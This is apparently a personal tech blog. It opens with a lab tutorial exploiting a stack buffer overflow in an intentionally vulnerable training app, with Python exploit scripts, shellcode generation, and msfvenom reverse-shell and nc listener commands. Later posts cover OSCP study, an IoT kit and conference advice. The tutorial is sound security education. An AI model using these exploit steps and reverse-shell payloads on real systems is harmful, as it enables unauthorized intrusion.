  • DoStackBufferOverFlowGood Tutorial and intentionally venerable app. I am going to make use of the excellent buffer overflow tutorial and code created by Justin Steven.
    Another option you could also use is VulnServer. In fact you should try this too. This app has several buffer overflows for you to practice. The easiest uses the TRN command and you’ll need to send “TRN /.:/” (the dot is needed as the app checks for it)
  • Kali VM ( in my example)
  • Windows VM ( in my example)
    You want an older version of Windows which does not have various protections in place. I used Win7 VM with IE11 x86 from
  • Immunity debugger ( You need to install this on the windows machine
  • Mona Immunity extension Python scripts installed. These scripts are copied to Mona extensions directory and add additional functionality we will use


Creating a buffer overflow has several steps and it’s important you don’t skip a step. If you do then it becomes very difficult to work out why stuff isn’t working so don’t be tempted to – it will save you time I promise!

So what are the steps?

  1. Check connectivity to the venerable app from Kali to Windows. We’re going to check we can connect to the vulnerable application with NetCat (nc) and send it some data
  2. Trigger the buffer overflow. We’ll write a python script and send data of sufficient length to trigger a buffer overflow
  3. Work out exactly how much data to send so data ends up in the EIP register. The EIP (Extended Instruction Pointer register) tells the computer where the next command to execute is and by putting data here we can control the program flow muhahaah
  4. Confirm we have targeted the EIP correctly. We will confirm we have everything right by adding the characters “BBBB” and checking they are in the EIP
  5. Remove Bad Characters. We cant use some characters in our buffer overflow for various reasons as they will stop our buffer overflow working. These are things like 0x00 which terminates strings.
    We’ll send the vulnerable app a list of all the possible characters then compare what is in memory to what we sent. If a character is not in memory we wont use it in Step 6 and 7 where we generate code (it’s a baaad character!)
  6. Locate the address of JMP ESP instruction in the app or it’s libraries. You might think you can just add our code to run at this point.
    Unfortunately, we cannot guarantee where stuff will be in memory so we cannot hardcode this. The solution is we’ll find the address of an instruction that stays the same and will return us to our shell code.
    We’ll look for a JMP ESP instruction as this will direct the flow to code at the ESP (Extended Stack Pointer or where we are on the stack) where our shell code will be ready & waiting. We’ll also need to remember to encode this in a special way as x86 processor will expect numbers or memory addresses stored back to front (code and ascii strings are front to back for reasons I don’t understand). This is referred to as little endian architecture.
  7. Finally we’ll generate our (shell) code we want to run using a tool called msfvenom. Shellcode is assembly code that the CPU knows how to execute directly. We’ll generate some (shell) code that will run calc.exe. Whilst you could also generate a reverse shell (a connection back to your machine) it isn’t a bad idea to do the simplest thing possible so you can be sure your code is working and are not facing other issues such as a firewall blocking your reverse shell.

    We’re nearly ready to go but we have one more issue to work through. When we generate shell code with msfvenom it can end up overwriting a few bytes at the top of the stack whilst it works out where it is in memory using an operation called GetPC (Get Program Counter). This can stop our shell code working.

    Two approaches to solving this are:
    Adding a load of empty (NOP or No Operation) instructions prior that wont do anything and can be safely overwritten. This is called a NOP sled
    Add a special machine code instruction to subtract from the ESP and move it up the stack away from the code we’ll generate

I picture the whole process looking something like the following.

I’m not convinced I have the order right here (and judging by other conflicting articles I read this confused others too). You dont need to understand this if you follow the process but I found it quite confusing the direction stuff was happening, variables were being added to the stack etc.

Step 1 – Confirm Connection

Before we do anything let’s check we can talk to the vulnerable app from our Kali machine so we know we have connectivity.

Make sure the DoStackBufferOverflowGood app (I’m going to call this the “app” now as this name is a bit long) is running. When it’s running you should see a console app listing the bytes received etc. You should also check the firewall is disabled on Windows machine. Next log onto your Kali machine.

I’m then going to use nc to confirm the connection (windows machine is and its listening on port 31337) and send it “hello”:

You should get a response back from the app and in the Windows machine see it confirming bytes sent.

Ok we’re ready to write some code.

Step 2 – Python script to trigger bug
We’re now ready to write some code to send enough data to the app to trigger an overflow error.

On the Windows machine do the following:

Close the app as we’ll run it in Immunity from now on
Open the app in Immunity debugger
The app may pause at some points. Press the play button until the app shows the current status as “running” in the bottom right corner. Whenever you re-open the app you’ll need to do this
Back to the Kali machine where we’ll trigger the issue.

Make sure you update values to your setup otherwise it wont work or you could be sending some stuff to a machine you don’t have permission to (which er probably will do nothing but make sure you are not doing this).

You’ll need to change some of these values for your lab environment:
RHOST refers to the Windows machine the vulnerable app is running on
RPORT the port it is using (will be 31337 for this test app).

Note the line that reads: buf += “A”*1024 this is the number of A’s we’ll send the app to trigger the issue:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A"*1024
buf += "\n"


Save your script (I called mine and give it executable permission with:

chmod +x

We should now be good to run it with:

% ./

If you have done everything right then you should see the app should crash and an access violation in Immunity. If you go to the register pane (top right) you should see the value 41414141 in EIP register. 41 in hex is 65 and 65 is the ascii code for “A” if you wondered where this came from – these are all the A’s we sent.

Step 3 – Work out how many characters it takes to overwrite EIP

The next thing we need to work out is exactly how many characters we need to send where we reach the point where we overwrite the value in the EIP register. My understanding is this value would normally tell the function where to return to. We’ll make use of this to redirect it to our shellcode later!

Whilst you could send these characters one at a time using trial and error to work this out there is a quicker way and we’ll use Metasploit’s pattern_create script. This will generate a sequence of unique characters we can send and then compare what ends up in the EIP to work out the position.

On the kali machine run the following command to create this pattern – note the -l 1024 is the length of the pattern we will create. As we know we can trigger this by sending 1024 A’s this will be enough:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024

We’ll then take this pattern generated and update the code to send this pattern:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab"
  .. #ommitted for brevity
buf += "\n"


Remember to restart the app on the Windows machine and make sure its in a running state before running the script.

The application should crash:

We then need to see what characters ended up in the EIP register.

Here we can see the numbers 39654138:

On the Kali machine we’ll pass this number into a special script called pattern_offset.rb to work out this position:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138

This script should return the following message:

Exact match at position 146

Great – remember this number as we’ll need it for the next bit.

Stage 4 – Confirm we have the correct offset

OK things are looking good but we want to check this position is right so we’ll attempt to put 4x B’s in the EIP.

Note that the hex ascii code for “B” is 42 (42 in hex is 66 and 66 is B in ascii):

Update the code to the following – noting we added the position returned from the script below:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf_totlen = 1024
offset_srp = 146

buf = ""
buf += "A"*(offset_srp - len(buf))    # padding
buf += "BBBB"                         # SRP overwrite
buf += "CCCC"                         # ESP should end up pointing here
buf += "D"*(buf_totlen - len(buf))    # trailing padding
buf += "\n"


Again restart the app in Immunity and check its in the running state. When the app crashes you should see 42424242 in the EIP register (our 4x B’s).

This is awesome as we now have confirmed we can put what we want in the EIP (referred to as having control of the EIP):

Step 5 – Find Bad Characters

We’re not finished yet however and most apps will have some characters that for various reasons will stop our buffer overflow working.

It appears that almost always this will include 0x00 (NUL which also means end of string in C/C++) and often 0x0A (new line).

To work out what these characters are we will send all the possible bad characters and see what ends up in memory taking note of anything missing.

There’s a couple of ways to do this.

  • Using the mona command !mona bytearray will generate a list of bad characters for you to send and compare
  • Programmatically creating a file containing bad characters in code

I’m going to use Justin’s approach that generates a file with all the bad characters in range 0x00 to 0xFF which we can then copy to the Windows machine and compare in Immunity.

Our code is now:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

badchar_test = ""         # start with an empty string
badchars = [0x00, 0x0A]   # we've reasoned that these are definitely bad

# generate the string
for i in range(0x00, 0xFF+1):     # range(0x00, 0xFF) only returns up to 0xFE
  if i not in badchars:           # skip the badchars
    badchar_test += chr(i)        # append each non-badchar char to the string

# open a file for writing ("w") the string as binary ("b") data
with open("badchar_test.bin", "wb") as f:

buf_totlen = 1024
offset_srp = 146

buf = ""
buf += "A"*(offset_srp - len(buf))    # padding
buf += "BBBB"                         # SRP overwrite
buf += badchar_test                   # ESP points here
buf += "D"*(buf_totlen - len(buf))    # trailing padding
buf += "\n"


Save this script, restart the app in Immunity and run the script.

The app should crash as before and if we go to the register pane, right click on ESP and select the follow in dump option we should see what’s in memory:

If we go through the characters in order we can see 00 and 0A are not where we’d expect to find them ordered with the other characters:

There is an easier way however than manually looking through every character. Simply copy the generated file to the Windows machine C drive and run the following:

!mona compare -a esp -f c:\badchar_test.bin

Mona will then do a comparison and show us the values missing:

These are our bad characters. Take note of these as we’ll need them in a short time when we generate the code we want to run.

Stage 6 – Find a JMP Point

Now you might think you have everything you need to generate your code but there’s one more step we need to do.

We need to find a location in memory that wont change to put into the EIP.  We need to do this as:

  • The operating system may end up randomising some addresses
  • Stuff may move around in the app e.g. if it had multiple threads handling connections

There are certain things that will always be at the same location (gadgets) we can point the app at that will then return execution flow to where our shell code is ready and waiting.

We’ll look for an instruction called JMP ESP.  We can tell Mona to search all of memory for this instruction and also make sure that it doesn’t contain our known bad characters:

!mona jmp -r esp -cpb "\x00\x0A"

Mona has returned the following addresses:



We also need to check these points don’t have memory protection things enabled so check the ASLR, Rebase etc are all set to false.

If we want we can see the instruction at these addresses by right clicking on the address and selecting the “Follow Disassembler” option.

You should see JMP ESP command at both locations:

So now we have an address of a gadget we can use (0x080414C3).

However the CPU needs us to present this back to front (little-endian encoding).

We could either reverse this manually ourselves or import struct library and use .pack method – I think this is probably better as less error prone and its very easy to make a simple mistake.

Stage 7 – Generate Shell Code

Ok we’re almost ready to generate our code.

We’ll use a tool called msfvenom to generate machine code to fire up good old calc.exe!

Why kick off calc.exe – whilst you could go straight to a reverse shell its not a bad idea to do the simplest thing possible.

A reverse shell has other stuff that might get in the way e.g. firewalls/networks and if you don’t get a connection back you wont know whether it’s your exploit code or this. Firing up calc confirms our code works.  

We’ll generate shellcode using the following command and be sure to pass in the bad characters we found (\x00 and x0A):

msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread

Note if you want to generate a reverse shell below is the code you will want:

msfvenom -p windows/shell_reverse_tcp -b '\x00\x0A' LHOST=KALIIP LPORT=KALILISTENINGPORT -f python --var-name shellcode_calc

There are some gotcha’s you need to be aware of here:


  • Make sure you pass in the bad characters we have identified to msfvenom. Thats the bit that says -b ‘\x00\x0A’
  • It’s probably best to do the simplest thing like run calc.exe before trying to create a reverse shell to make sure your code is working before introducing additional complexity. There could be several reasons a reverse shell wont work such as connections being blocked
  • If you are creating a reverse shell make sure you can accept connections from the Windows machine by adding firewall exceptions
  • Make sure you have something listening to catch the reverse shell! (e.g. nc -lvnp 4444)

There’s one final step we need to do.

The first few bytes of our shellcode could get overwritten accidently. This is apparently because the generated code needs to work out where it is in memory which can involve a call to a routine called GetPC which can overwrite some of the shell code. We want to make sure this doesn’t happen.

There’s 2 ways of doing this:

  • Put a load of empty instructions that can be overwritten (NOP sled)
  • Add an instruction to move the ESP away from our shell code

Option 1 – NOP (No Operation) sled
Add below before shell code:

buf += “\x90” * 12 #NOP sled

x90 is the x86 instruction for doing nothing in case you are wondering.

Option 2 (better practice)

We can generate an instruction to move away from the Shellcode with metasm_shell e.g.

sub esp, 0x10

This is considered better practice and uses less space which could be important if you have limited bytes to work with.

So our final code will look something like:

#!/usr/bin/env python2
import socket
import struct

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf_totlen = 1024
offset_srp = 146
ptr_jmp_esp = 0x080414C3 #JMP ESP gadget location

shellcode_calc =  b""
shellcode_calc += b"\xb8\xa9\x2c\x37\x99\xda\xc5\xd9\x74\x24"
shellcode_calc += b"\xf4\x5b\x31\xc9\xb1\x31\x83\xeb\xfc\x31"
... #ommitted for brevity

buf = ""
buf += "A"*146      # padding
buf += struct.pack("<I", ptr_jmp_esp)   # SRP overwrite
buf += "\x90" * 12 #NOP sled
buf += shellcode_calc               # ESP points here
buf += "D"*(buf_totlen - len(buf))      # trailing padding
buf += "\n"


I found Immunity could sometimes interfere with the shell code so I’d close it out of Immunity and run as an app.

All being well you should see calc pop up on the Windows machine!

Next you might want to generate reverse shell code and replace the calc code in

Here’s a reverse being caught using this approach:

My 2020 – Year in Review

Each year I used to write a reflection on the last year, set out goals etc but for whatever reason I stopped doing this. I’m not too sure why as I found it a useful exercise.

Last week I saw Paul Glavich’s post and felt inspired this year to give this some time.

This post is mainly for my benefit but maybe it has something useful in it for others too.


2020 was a weird and challenging year for everyone and a year I don’t think one anyone wants to repeat!

I’m grateful to live in Australia where we have so far been relatively untouched by everyone’s least favourite Corona Virus. I live in Melbourne however and we experienced some of the heaviest restrictions in the world designed to reduce the spread of Covid (everyone limited to 5km travel radius, schools and day-care shut, most non-essential shops shut etc).

Whilst the strategy has been a success reducing cases the impact of these restrictions in Melbourne was very unequally distributed with some individuals and businesses hit in an absolutely devastating way and I felt lucky to be able to work from home for a supportive company. In fact my employer was one of the first to move staff to work from home and very supportive over this period.

Whilst the restrictions were frustrating for all, I tried to make the most of the time and saw the following advantages:

  • I got to spend more time with the kids and with my daughter in particular as part of home schooling (this was good and bad!)
  • I saved some money having no commute and with various activities being closed
  • I revisited some hobbies/stuff I hadn’t touched for ages such as drawing, astronomy and playing on the Xbox (No Mans Sky)
  • I ate healthier – probably by not having access to Melbourne’s various lunch time options!
  • I had less of a commute so had more time*

* I’m not sure this actually worked out this way and the work day appeared to just extend..

There were some aspects I really didn’t enjoy:

  • Juggling work and kids was very draining and more so with co-parenting.

    Most colleagues and clients were pretty good about the impact of this but I ended up working some pretty long hours once kids were in bed to keep up with work/make hours up.

    On reflection I probably created some of this pressure myself and would have been better working less hours and taking personal leave.

    I remember one particularly terrible call to a client where I was looking after my kids. They spent the time making cockerel noises in the background whilst jumping between two sofa’s. One of them also had a er toilet accident to round off a great meeting..

    On another meeting I was assisting my son to find his favourite toy monkey and hit the unmute button on my head-phones so other folks could hear me walk round the house with him calling out for monkey. I didnt know this until my colleague texted me bahaha
  • Context switching is always hard and wasteful but I found the switch between work and parent mode very draining. I had not realised that my commute back from work provided a kind of transition between the two parts of my life that I no longer had working from home. I ended up building a transition period into my day where I wound up work stuff as found I would be tired and grumpy when I had my kids dropped off/picked-up without it
  • Teams etc is good but I missed in-person conversations, team meetups, socials etc
  • After a while I grew to hate the repetitiveness of working from home and being in the same room. Yesterday I moved my computer into a different room which probably isn’t as well suited a space just for the variety

What went well last year?

  • We had significant success on several proposals, and I increased my commercial knowledge, awareness, and understanding of contracts
  • I improved my security knowledge and obtained (at least as far as I know) a good foundational understanding of penetration testing via Offensive Security’s PWK course.

    I also found a mentor in this area and cant recommend enough this being a great way to rapidly upskill in an area by having someone more experienced to advise and coach you.

    I focused on security as wanted to understand how an attacker would approach applications so I could better defend against them and well it sounded pretty interesting as well 🙂

    I really enjoyed learning about a new area as had probably become a bit jaded by .NET and front-end frameworks and enjoyed the variety and challenge of something different. It was great to get into some lower-level stuff such as buffer overflows/assembly programming.

    I also discovered CTF style challenges such as Hack the Box which worked well during lockdown to keep me occupied and challenged!

    I’m scheduled to do the exam for this course in March. OSCP is known as being a difficult exam and many folks seem to retake a few times so suspect it will be challenging and may require a few attempts.

    I’ll give it a go through although I have a queue of other items starting to build up requiring attention so not sure how long I’ll be able to spend on this but will see how it goes
  • I obtained a good working knowledge of Linux as part of the course discussed above. Whilst I knew Linux would feature heavily this was kind of an unexpected benefit and an area, I’d like to explore more. It’s probably also looking in future if your PD study could hit a few areas at once for efficiency purposes
  • Savings from lockdown meant I could pay off a loan 5 months earlier than I expected
  • At the end of the year I replaced my 11 year old car which made driving more enjoyable and easier to transport kids & their stuff

Plans for 2021

  • This year needs a better work life balance. I’m not sure what this looks like yet but last year work certainly got the majority of my time and energy and the kids had a tired and grumpy dad at times which isnt right. Some of this was probably on me as due to everything being shut in Melbourne during lockdown it could lead to the decision of well I’m not doing anything else so might as well do some more work..
  • Building breaks in between conference calls. Conference calls at one point seemed continuous throughout the day which was very draining, made it difficult to maintain attention and also do other work. I now build in time between calls which I wont move. I also block out focus periods, lunch and try to leave the house during the day
  • I have a good desk and chair setup but need to move around/stretch more as started getting various aches and pains I have never experienced before. I saw a physio last year who said he was seeing a heap of folks complaining of various issues related to working from home 😦
  • I’m enjoying learning about the security stuff and once the OSCP exam is complete intend to shift my focus here to developing some kind of security foundations/basics program. I think most of us tend to learn this stuff from a theoretical perspective only and getting some more hands on knowledge could assist us getting a better knowledge.
    I’m not too sure what this looks like yet but maybe some form of intentionally vulnerable app. It would also be great to have some more Microsoft tech focussed examples in this area. I’d also like to spend some time looking at threat modelling.
  • Miro has proved a useful tool for remote collaboration for us and I’d like to spend a little time looking at what can be done with it beyond the basics
  • I’d like to spend some more hand’s on time with AWS. I’ve spent a fair bit of time with Azure and want to learn something different. I had planned to get a bit more involved hand’s on in one project but this didn’t eventuate due to other commitments but I’m planning on insisting on doing this in 2021
  • Revisit Azure DevOps build and deployment functionality. This has progressed considerably since I last looked and I need to update my knowledge
  • Spend more time for personal development – and do it during work hours.

    We have a good PD program at Purple but due to work-load most of my study for the security course was done in my own free time.

    Whilst I enjoyed the course it is also important to get rest (whatever form that takes for you) and my approach to do this study in the evening eventually left me felling quite burnt out by the end of the year.

    I found that with a long list of tasks its very easy to focus on these at the expense of your own development and this will eventually lead to the atrophy of skills.

    I think most folks who start to get a larger workload will go through something like:

    1) Work longer hours to try and keep up. Maybe you start to do a sweep of emails/items at the weekend or work a longer day. This works for a bit but isn’t a long term strategy especially as work loads dont tend to decrease
    2) You might then look at stop doing “non-essential things” like personal development to make more time. You later realise some of this stuff is er essential/you enjoyed
    3) Realization that you are dropping things so then look at other options such as delegation/prioritisation
    4) Declare work load bankruptcy!

    This is a trap – build time to focus on skill development and make sure you do some stuff you enjoy as well as stuff that needs to be done.

Anyway if you have made I to the end of this I wish you all the best for 2021.

Thoughts on PWK/OSCP Course

This year I wanted to improve my security knowledge and understand how an attacker would approach compromising an application so I could better secure solutions I was involved in developing.

I suspect most developers (including myself) learn about security from a mainly theoretical perspective and wont be exposed to an attackers methodology, tools or techniques. I think this is probably a mistake and most of us would benefit from seeing or having hands on (legal!) experience so we can build more resilient and secure applications.

I wasn’t sure where the best place to start with this was but my manager Horay had previously suggested that certifications in addition to providing proof of knowledge can be a good option by providing a learning path to work through. They also ensure you cover some areas that you might not cover on your own.

I had a look at what was available in the security cert space and there were a few options. Previously I’d chatted with one of my colleagues (hello Vats!) some time ago about Offensive Security’s Penetration Testing with Kali Linux course. This course concludes with a 24hr exam where you have to compromise a number of machines and then another 24hrs to write up how you did it and I was kind of intrigued by this.

The PWK is a self-study course aims to introduce you to penetration testing methodology, key tools and approaches. I understand this qualification is well respected in the industry due to the tough nature of the test and is currently pretty much essential for those wanting to start a pen testing career.

The course
The course costs start at $999 USD at the time of writing. This gives you 1 month’s lab access, 850 page PDF, a set of videos and access to their forums. It’s not cheap but I don’t think its unaffordable either and cheaper than your average multi-day conference. I felt overall it was good value for the money although I’ve listed some cheaper options at the end of the article.

Probably one of the best things about this course is the lab. You connect to the course lab using OpenVPN and it’s made up of an extensive set of machines (70ish) and connected networks all waiting for you to compromise them. I don’t want to spoil any surprises as participants will enjoy the details but I will say that a lot of thought has gone into the setup of this and its not just 70 separate machines..

One thing you should be aware of and that creates some pressure is that when you enrol in the course you have to select a date to start. Your lab time will then start ticking down from this date so make sure you have cleared some time in your schedule as this course will consume substantial time..

How long is enough lab time?
Unless you are studying this course full time (how good would that be?) or have prior security experience and are doing this for the certification most folks will need 2 or 3 months lab time at least. From what I read multiple extensions and exam retakes are common.

I enrolled in the course with 2 months lab access. I work full time in a demanding job and am a single parent with 2 little kids and I worked on the course mostly once the kids were in bed or at weekends. I made it through the book & exercises and compromised about 16 machines in the lab and another 10 or so on Hack the Box (more about this later). This was fun but exhausting and I’m not sure I’d recommend this pace. If you can do get more lab time – you wont regret it.

You can extend your lab time afterwards but it is more expensive to extend than upfront (currently $359 USD for 30 days). There are also other cheaper practice machine options but we’ll get to that.

Pre-Req Knowledge
To make the most of the course you will need to have knowledge in 4 main areas:

  • Networking (basic stuff – DNS, TCP/IP basics, ports etc)
  • Linux (intermediate?)
  • Windows (basic)
  • Programming (basic and comfortable modifying Python & Bash scripts. I’d rarely worked with Python but it was trivial to make the basic mods necessary during the course e.g. setting variables, basic logic)

For those of you starting out in IT I probably wouldn’t recommend this course as a starting point and guess you’d get frustrated pretty quick. Even if you know you want a pen testing career you’ll probably get more from it with a few years dev or infra experience. Having said that I did read some blog posts from a few folks who had jumped right in and had success so each to their own I guess.

I think most folks coming to this course unless they are coming from the security world already will find they have at least one weak area in the above. For me it was limited Linux experience and knowledge although this was offset by a software development background and understanding of web applications. An unexpected benefit I found was that by the end of the course I had a good working knowledge of Linux and loved working with it 😊

What I enjoyed
I really enjoyed this course and loved the range of subjects and areas it covered.

I think this was probably the most fun course I have ever done and you get a genuine rush when compromising one of the lab machines which was er weirdly addictive and led to some late nights as I worked through a tricky problem.

By the end of the course, you will have a decent understanding of the methodology pen testers (and I guess also attackers) will approach compromising a machine and network.

This gave me a new perspective on development projects and will assist with the development of secure software.

For me the highlights of the course were:

  • Compromising my first lab machine. I cannot stress enough that the lab and most of the exercises are really fun, time will fly and it doesn’t feel like work
  • Whilst I was familiar with the concepts of subjects like buffer overflows it’s a different thing altogether to create one yourself and having it initiate a reverse shell 🙂
  • I was surprised at how sophisticated some of the common tools were and how easy they made tasks e.g. MetaSploit & SQLMap
  • Playing with assembly – cant think of when I have done this outside of uni!
  • SSH tunnelling – wow didnt know you could do some of this stuff!
  • Abusing various inbuilt Windows and Linux functions to do things like download a file from a remote machine using regsvr, certutil etc

What I wish I had known
Offensive Security have a motto “Try Harder” that you’ll come across this many times in the course materials and forums.

I can imagine that pen testers require resilience and perseverance and if you are not the sort of person who will get curious about a problem and work through it then you probably wont enjoy this course or pen testing for that matter. However, let’s remember you are doing this course to learn and there is a point where “Try Harder” is not useful (“Bean dad” anyone?).

You have limited lab time and want to make the most of this. Whilst you can and will learn something researching a challenging topic there’s a point where you are probably better off getting some help. In this course help will come mainly from the forums.

At the beginning of the course I got stuck on a machine for nearly a week. Whilst I learnt stuff trying to work through this issue I probably should have looked at the forums earlier to learn a concept I wasn’t aware of. I also would have found this wasn’t one of the best machines to begin with. When you start you also want something matching your skill and experience level so you can practice the basics without getting frustrated and not getting anywhere. My advice would be to set a time limit and then look at the forums if you are stuck to help you get past the blockage then continue on your own.

Offensive Security provide a lab learning path of machines they suggest you work through. I didn’t spot this at the beginning even through its on the lab machine control page doh. This has 10 or so machines to work through with the first 2 having a detailed step by step write-ups in the forums. Do look at this as you’ll learn a lot especially with the first 2 writeup’s!  

The machines are of varying difficulty and by the end I could exploit 2-3 in one night with I think the quickest being 15 or so minutes and the longest a week (at the beginning of the course!).

For most machines you’ll run a port scan and maybe some other scans and then work through the various services. It took me a while to realise this but its very easy to get stuck thinking one option is certain to be the route in. This is a trap! Set a time limit for each service/hole and then work through them systematically. You will be amazed what you missed when come back round or what you might discover on another service you haven’t looked at yet.

For me I mostly found I could get a foot hold on most machines fairly easily but the challenges came around privilege escalation.

Privilege escalation is where you have some kind of access to a machine but it is of a limited level and you then attempt to increase this access. There’s various ways of doing this from exploiting misconfigured setups and binaries to full on kernel exploits. As a beginner I found this area the hardest and had to grind through all the options which could be tiring and frustrating but worth persevering with.

Tib3rius has two really great privilege escalation courses on Udemy (one for Linux and one for Windows) which I wish I’d watched earlier in the course and would highly recommend.

I haven’t taken the exam for this course yet (that’s in a couple of months as I wanted a break over xmas period and need to get some practice in!) so cant comment on that aspect yet (you’ll find a heap of posts around others experiences). I will say however that really enjoyed this course and learnt a lot from it so would highly recommend it. It also had the unexpected benefit for me of massively upgrading my Linux skills 🙂

For those folks not caring about the OSCP Certification or wanting a cheaper option Heath Adams’s (the Cyber Mentor) Practical Ethical Hacking course is amazing value at AUD $10.99 for over 24hrs content.
This covers much of the same areas as PWK and is really well put together (I also think the Windows AD stuff in examined in more depth).

Other Resources
Now it should go without saying that trying to compromise machines you don’t have permission to do so is illegal and shouldn’t be done under any circumstances.

There are several great and free/cheap services offering legal and great options to practice against that can help you prepare for the course:

Hack the box has many machines to practice against and some are similar to those on the course. If you’ve never done this stuff before however do not start here as you’ll get frustrated quickly as there is little to no guidance provided. I’d recommend the paid version of the service as it gives you access to older machines that have detailed write-ups if you get stuck.

TryHackMe have many “rooms” that take you through the development of various skills and experiences e.g. specific tools and techniques. If you are not sure if this stuff is for you then the recent Advent of Cyber room is a really nice basic intro to some basic techniques:

IppSec YouTube Channel. IppSec provides video walkthroughs of hacking various (mainly HackTheBox) machines. This guy is a genius and entertaining to watch. I’d watch a few videos each week and found I would learn heaps and come across some great tools and techniques.

Linux Smart Enum. This script makes it really easy to see Linux privesc options more than the better known LinPEAS and LinEnum. Highly recommend adding to your toolkit.

MXChip Microsoft Azure IoT Developer Kit

I recently ordered a MXChip Microsoft Azure IoT Developer Kit to have a play with.

It looks like this when it arrives:


The MXChip Dev Kit is an awesome solution designed for prototyping IoT and cloud-based solutions and comes with a heap of functionality and sensors including:

  • WiFi
  • OLED
  • Headphone
  • Microphone
  • Temperature sensor
  • Humidity sensor
  • Motion sensor
  • Programmable buttons
  • Security encryption chip

Lots of goodies to play with without having to order and setup more components and sensors!

Setup couldn’t be easier and within about 10 minutes I had my dev kit sending data to Azure IoT hub (setup would have been even shorter had I typed in the WiFi password correctly – duh!).

Setup was basically:

  • Create an Azure IoT hub in the Azure portal
  • Plug in the dev kit via USB
  • Download the latest firmware and copy it onto device like you were copying to a USB stick
  • Connect to the MXChips WiFi access point
  • Browse to a setup web page page, enter WiFi and IoT hub connection details
  • You are good to go and the device will then send temperature info to Azure IoT hub


So how do you create your own applications?

The kit is Arduino compatible and Microsoft has developed a heap of extensions, samples and tutorials for Visual Studio Code aimed at making it easy to develop, debug and deploy your own applications.

Setup was mostly painless although one of the extensions had some trouble installing and I couldn’t get the debug stuff that would allow me to see what the device was sending. I think this may be some USB driver issue and will require further fiddling..

One of the extensions gives you access to several tutorial projects and samples making it easy to explore the devices capabilities further.

I haven’t touched C++ for many years but the sample code was very readable and could easily be tweaked for your own projects.

Overall whilst the MXChip dev board is more expensive than some other options I was really impressed by all the functionality contained on the board, tutorial and sample support and ease of setup with Azure IoT hub.

If you want your own kit I purchased mine for about $90 AUD (American readers will find this considerably cheaper) from Core Electronics (

NDC Oslo 2019 – Developing Solutions for Everyone

It was great to have the chance to speak at NDC Oslo 2019 on the subject of developing solutions for everyone.

This was a very personal talk for me and a bit different to the more technical talks I generally focus on.

This is a talk about how we sometimes can exclude, make harder or even harm groups of people to use what we create software and how we can avoid this.


I found this one a challenging one to give given the subject matter which touches on everything from discrimination to hate groups.

For those wanting to know more about this area the talk was influenced by Sara Wachter-Boettcher’s book Technically Wrong. I also attended a few other talks at NDC Oslo that talk about this area such as Tess’s “We are the guardians of the future” and Sasha’s “Why our products and communities need our empathy” that i’d highly recommend watching when the videos are released.

The talk video will be available shortly but slides are online in the downloads section of my website/NDC Oslo 2019 folder.

Thoughts on Conference Submissions

The last week I’ve been in Oslo, Norway where I had the pleasure of being on the NDC Sydney 2019 Agenda committee and speaking at the conference.

Whilst I’ve had a fair bit of experience creating agendas via DDD Melbourne and user groups it was very interesting to see how a large commercial (and one of my two fav Australian conferences along with Web Directions) handles putting an agenda together.

Opinions are mine and mine alone
I should probably start of by saying what follows is my opinion and may not reflect that of other agenda committee members or NDC organizers.

The agenda we proposed will also be reviewed by NDC organizers before speakers are informed so is likely to change a bit (and no I wont tell you who got in etc you’ll have to wait until the official emails!).

With that out the way there are a few things I wanted to talk about and things you can do to maximize your chances of getting in.


Sometimes you may do everything right and not get in
First up don’t be put off if you are declined from a conference.

NDC Sydney 2019 received over 800 submissions and there are a lot less spots. This means many people are not going to be successful and includes some well-known names.

You not getting in isn’t necessarily (but might be!) a reflection of your speaking abilities, how your talks went previously or your topic it is simply impossible to squeeze everyone in.

There was more than enough awesome content to fill multiple conferences.

What can you do to maximize your chance of speaking well I have a few thoughts but the main thing I’d encourage you to do is simply keep submitting!

Commercial conferences need to make money
Whilst it would be wonderful for a conference to be able to support every speaker and topic a commercial conference is significantly different to a community event such as DDD Melbourne and needs to attract customers.

Whilst these are not the only drivers having well known great speakers and interesting topics will likely equal more customers

Have a think about your subject – would you or your colleagues pay to see the talk you are proposing?

If the answer is no then your talk may be better placed in a local user group.

Choose a great title
Major conferences get many submissions and the title is the first thing the agenda committee sees.

A good title is interesting, enough to draw the reader in for a deeper look or makes it obvious what the session is about and I guess in an ideal world all of the above.

Also avoid cliché titles such as Make SAP great again (it’s probably not possible), in the trenches with Silverlight etc as these titles suck.

Write a clear & concise abstract that describes what your session is about
With many sessions to review you want to make the agenda committee’s job easy.

Some session summaries were like mini novels and despite all the text it was still difficult to work out what the presenter wanted to actually talking about!

Writing a good abstract is hard (as is concise writing) and needs practice. Get someone else to read your abstract does it make sense?

Also avoid swearing (many of us enjoy a good swear but this isn’t the place for it) and slang as it may not make sense to the reader.

Tag your session correctly
If a conference asks you what category your session fits in please don’t tag it with every subject.

Most sessions have 1 or 2 primary categories they fit in.

Categories are one way of ensuring a distribution of subjects in a conference and if you tag your session with everything it just makes more work.

Proofread and spelling
Just do it, there’s tools to help and if you are crap at this stuff get a friend or colleague to help.

Review pre-booked speakers at conference
If you can see a conference has a well-known expert, author or contributor to a library, language or framework talking you probably don’t want to be submitting a what’s new in X or introduction to Y talk on the same subject.

Whilst some subjects will warrant multiple talks guess who the general public would rather hear from a) the author of a framework/library or b) an unknown speaker?

Having said this it is certainly not impossible to speak about the same topic as a big name speaker (we accepted sessions that did on popular subjects) but you’ll probably need want something unique to make your session relevant.

Avoid intro level talks unless its something very new
If it’s a subject that has been around for a while and is well understood I think you’d be better avoiding an intro-level talk for a commercial conference.

